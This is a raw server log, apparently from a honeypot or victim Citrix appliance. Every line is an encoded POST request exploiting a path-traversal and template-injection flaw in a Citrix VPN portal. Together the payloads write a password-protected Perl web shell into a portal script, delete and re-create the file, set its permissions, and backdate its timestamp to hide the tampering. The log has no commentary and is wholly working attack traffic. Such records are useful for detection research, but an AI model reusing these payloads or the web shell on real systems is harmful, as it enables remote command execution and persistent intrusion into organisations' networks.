January 30th 2020, 18:40:13.000 23.129.64.210 /vpn/../vpns/portal/742256b5%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%25FORM=parse_parameters(%5Cx24cmd);if(defined%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:40:12.000 23.129.64.222 /vpn/../vpns/portal/8e9cfe03%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ret%7B%5Cx24var%7D=%5Cx24value;%7D%7Dreturn%25ret;%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:39:49.000 23.129.64.157 /vpn/../vpns/portal/3d0b5829%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bread(STDIN,%5Cx24cmd,%5Cx24ENV%7B%5Cx22CONTENT_LENGTH%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:39:49.000 23.129.64.187 /vpn/../vpns/portal/2ce4b496%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24var)%7B%5Cx24value=%5Cx7es%5Cx2f%5C%5C%5C+%5Cx2f%20%5Cx2fg;%5Cx24value=%5Cx7es%5Cx2f%25(..)%5Cx2fpack(%5Cx22c%5Cx22,hex(%5Cx241))%5Cx2feg;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:39:26.000 23.129.64.159 /vpn/../vpns/portal/5d67fda7%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy(%5Cx24var,%5Cx24value)=split(%5Cx22=%5Cx22,%5Cx24pair,2);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:39:26.000 23.129.64.159 /vpn/../vpns/portal/28c7120c%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7D=%5Cx7etr%5Cx2fa-z%5Cx2fA-Z%5Cx2f;if(%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7Deq%5Cx22POST%5Cx22)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:39:04.000 23.129.64.155 /vpn/../vpns/portal/948bf348%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%25ret;my%5Cx24input=shift;foreach%20my%20%5Cx24pair(split(%5Cx2f%5Cx26%5Cx2f,%5Cx24input))%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:39:02.000 23.129.64.231 /vpn/../vpns/portal/d36a017a%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ret%7B%5Cx24var%7D=%5Cx24value;%7D%7Dreturn%25ret;%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:38:39.000 23.129.64.190 /vpn/../vpns/portal/c3161151%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24var)%7B%5Cx24value=%5Cx7es%5Cx2f%5C%5C%5C+%5Cx2f%20%5Cx2fg;%5Cx24value=%5Cx7es%5Cx2f%25(..)%5Cx2fpack(%5Cx22c%5Cx22,hex(%5Cx241))%5Cx2feg;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:38:35.000 104.244.76.245 /vpn/../vpns/portal/37f02c56%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'print%5Cx22Content-Type:%20text%5Cx2fhtml%5Cx22;sub%20parse_parameters%20(%5Cx24)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:38:17.000 104.244.76.245 /vpn/../vpns/portal/9154aa50%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy(%5Cx24var,%5Cx24value)=split(%5Cx22=%5Cx22,%5Cx24pair,2);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:38:11.000 104.244.76.245 /vpn/../vpns/portal/b4e0b2c3%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'use%20strict;use%20Digest::MD5;my(%5Cx24cmd,%25FORM);%5Cx24%5Cx7c=1;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:37:54.000 185.10.68.27 /vpn/../vpns/portal/b375d3c9%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%25ret;my%5Cx24input=shift;foreach%20my%20%5Cx24pair(split(%5Cx2f%5Cx26%5Cx2f,%5Cx24input))%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:37:48.000 104.244.76.190 /vpn/../vpns/portal/01f66938%5B%25template.new(%7B'BLOCK'='print%60rm%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:37:32.000 185.10.68.27 /vpn/../vpns/portal/57cde6e3%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'print%5Cx22Content-Type:%20text%5Cx2fhtml%5Cx22;sub%20parse_parameters%20(%5Cx24)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:37:10.000 23.129.64.210 /vpn/../vpns/portal/27d7f0c3%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'use%20strict;use%20Digest::MD5;my(%5Cx24cmd,%25FORM);%5Cx24%5Cx7c=1;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 18:36:47.000 23.129.64.187 /vpn/../vpns/portal/dacbfb09%5B%25template.new(%7B'BLOCK'='print%60rm%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:07:16.000 104.244.76.245 /vpn/../vpns/portal/e424078c%5B%25template.new(%7B'BLOCK'='print%60touch%20-r%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2fsavecolorprefs.pl%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:06:52.000 23.129.64.207 /vpn/../vpns/portal/9dad89fd%5B%25template.new(%7B'BLOCK'='print%60chmod%20555%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:06:27.000 185.220.100.247 /vpn/../vpns/portal/2bf1e73c%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'while(%5Cx3cCMD%5Cx3e)%7Bprint;%7Dclose(CMD);print%5Cx22-%5Cx22x%2080;%7D%7D%7D%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:05:57.000 185.10.68.254 /vpn/../vpns/portal/fbcf59fd%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'open(CMD,%5Cx22(%5Cx24cmd)%202%5Cx3e%5Cx261%20%5Cx7c%5Cx22)%5Cx7c%5Cx7cprint%5Cx22Could%20not%20execute%20command%5Cx22;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:05:34.000 23.129.64.180 /vpn/../vpns/portal/9cadcc51%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24md5-%5Cx3ehexdigest%20eq%<removed>%5Cx22)%7Bprint%5Cx22-%5Cx22x%2080;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:05:12.000 23.129.64.191 /vpn/../vpns/portal/9e743d34%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%5Cx24md5=Digest::MD5-%5Cx3enew;%5Cx24md5-%5Cx3eadd(%5Cx24FORM%7B%5Cx22pass%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:04:49.000 89.234.174.47 /vpn/../vpns/portal/34de3360%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7B%5Cx24cmd=%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D;if(defined%5Cx24FORM%7B%5Cx22pass%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:04:27.000 77.247.181.162 /vpn/../vpns/portal/429aadc8%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%25FORM=parse_parameters(%5Cx24cmd);if(defined%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:04:05.000 185.220.101.5 /vpn/../vpns/portal/ccf7d79d%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bread(STDIN,%5Cx24cmd,%5Cx24ENV%7B%5Cx22CONTENT_LENGTH%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:03:40.000 23.129.64.227 /vpn/../vpns/portal/9f2a4f67%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7D=%5Cx7etr%5Cx2fa-z%5Cx2fA-Z%5Cx2f;if(%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7Deq%5Cx22POST%5Cx22)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:03:18.000 23.129.64.185 /vpn/../vpns/portal/196ccf5a%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ret%7B%5Cx24var%7D=%5Cx24value;%7D%7Dreturn%25ret;%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:02:55.000 185.220.101.58 /vpn/../vpns/portal/f7de8608%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24var)%7B%5Cx24value=%5Cx7es%5Cx2f%5C%5C%5C+%5Cx2f%20%5Cx2fg;%5Cx24value=%5Cx7es%5Cx2f%25(..)%5Cx2fpack(%5Cx22c%5Cx22,hex(%5Cx241))%5Cx2feg;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:02:32.000 23.129.64.207 /vpn/../vpns/portal/15a4570c%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy(%5Cx24var,%5Cx24value)=split(%5Cx22=%5Cx22,%5Cx24pair,2);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:02:09.000 23.129.64.206 /vpn/../vpns/portal/9d0b59c5%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%25ret;my%5Cx24input=shift;foreach%20my%20%5Cx24pair(split(%5Cx2f%5Cx26%5Cx2f,%5Cx24input))%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:01:47.000 23.129.64.184 /vpn/../vpns/portal/cfc63f8f%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'print%5Cx22Content-Type:%20text%5Cx2fhtml%5Cx22;sub%20parse_parameters%20(%5Cx24)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:01:24.000 185.220.101.77 /vpn/../vpns/portal/87d15cd5%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'use%20strict;use%20Digest::MD5;my(%5Cx24cmd,%25FORM);%5Cx24%5Cx7c=1;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 16:01:01.000 23.129.64.210 /vpn/../vpns/portal/421bc22a%5B%25template.new(%7B'BLOCK'='print%60rm%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:11:19.000 185.220.100.244 /vpn/../vpns/portal/0aca32aa%5B%25template.new(%7B'BLOCK'='print%60touch%20-r%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2fsavecolorprefs.pl%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:10:55.000 185.220.100.251 /vpn/../vpns/portal/60c92cf6%5B%25template.new(%7B'BLOCK'='print%60chmod%20555%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:10:55.000 185.220.101.77 /vpn/../vpns/portal/24ddf85c%5B%25template.new(%7B'BLOCK'='print%60touch%20-r%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2fsavecolorprefs.pl%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:10:33.000 185.220.100.255 /vpn/../vpns/portal/151ecab7%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'while(%5Cx3cCMD%5Cx3e)%7Bprint;%7Dclose(CMD);print%5Cx22-%5Cx22x%2080;%7D%7D%7D%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:10:33.000 185.220.100.255 /vpn/../vpns/portal/90c47af2%5B%25template.new(%7B'BLOCK'='print%60chmod%20555%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:10:02.000 185.220.100.247 /vpn/../vpns/portal/67a27b80%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'while(%5Cx3cCMD%5Cx3e)%7Bprint;%7Dclose(CMD);print%5Cx22-%5Cx22x%2080;%7D%7D%7D%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:10:01.000 185.220.100.247 /vpn/../vpns/portal/df24e05e%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'open(CMD,%5Cx22(%5Cx24cmd)%202%5Cx3e%5Cx261%20%5Cx7c%5Cx22)%5Cx7c%5Cx7cprint%5Cx22Could%20not%20execute%20command%5Cx22;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:09:42.000 46.165.245.154 /vpn/../vpns/portal/5aadc39f%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'open(CMD,%5Cx22(%5Cx24cmd)%202%5Cx3e%5Cx261%20%5Cx7c%5Cx22)%5Cx7c%5Cx7cprint%5Cx22Could%20not%20execute%20command%5Cx22;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:09:39.000 46.165.245.154 /vpn/../vpns/portal/c9609cbe%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24md5-%5Cx3ehexdigest%20eq%<removed>%5Cx22)%7Bprint%5Cx22-%5Cx22x%2080;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:09:21.000 77.247.181.165 /vpn/../vpns/portal/591a287a%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24md5-%5Cx3ehexdigest%20eq%<removed>%5Cx22)%7Bprint%5Cx22-%5Cx22x%2080;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:09:17.000 185.220.101.70 /vpn/../vpns/portal/7080e692%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%5Cx24md5=Digest::MD5-%5Cx3enew;%5Cx24md5-%5Cx3eadd(%5Cx24FORM%7B%5Cx22pass%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:09:00.000 109.70.100.30 /vpn/../vpns/portal/5681aec5%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%5Cx24md5=Digest::MD5-%5Cx3enew;%5Cx24md5-%5Cx3eadd(%5Cx24FORM%7B%5Cx22pass%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:08:55.000 185.220.101.21 /vpn/../vpns/portal/9f7f2a6f%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7B%5Cx24cmd=%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D;if(defined%5Cx24FORM%7B%5Cx22pass%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:08:39.000 185.220.101.26 /vpn/../vpns/portal/cc143f44%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7B%5Cx24cmd=%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D;if(defined%5Cx24FORM%7B%5Cx22pass%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:08:33.000 185.220.101.76 /vpn/../vpns/portal/e71d9e52%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%25FORM=parse_parameters(%5Cx24cmd);if(defined%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:08:18.000 185.220.101.70 /vpn/../vpns/portal/34dc5673%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%25FORM=parse_parameters(%5Cx24cmd);if(defined%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:08:11.000 185.220.100.246 /vpn/../vpns/portal/381012a6%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bread(STDIN,%5Cx24cmd,%5Cx24ENV%7B%5Cx22CONTENT_LENGTH%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:07:56.000 185.220.100.244 /vpn/../vpns/portal/d0c1c10b%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bread(STDIN,%5Cx24cmd,%5Cx24ENV%7B%5Cx22CONTENT_LENGTH%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
